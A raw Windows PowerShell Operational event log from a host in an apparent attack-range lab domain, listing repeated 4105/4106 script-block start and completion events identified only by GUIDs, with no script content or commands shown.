Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042073
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042072
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042055
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042049
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042027
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042025
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042024
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
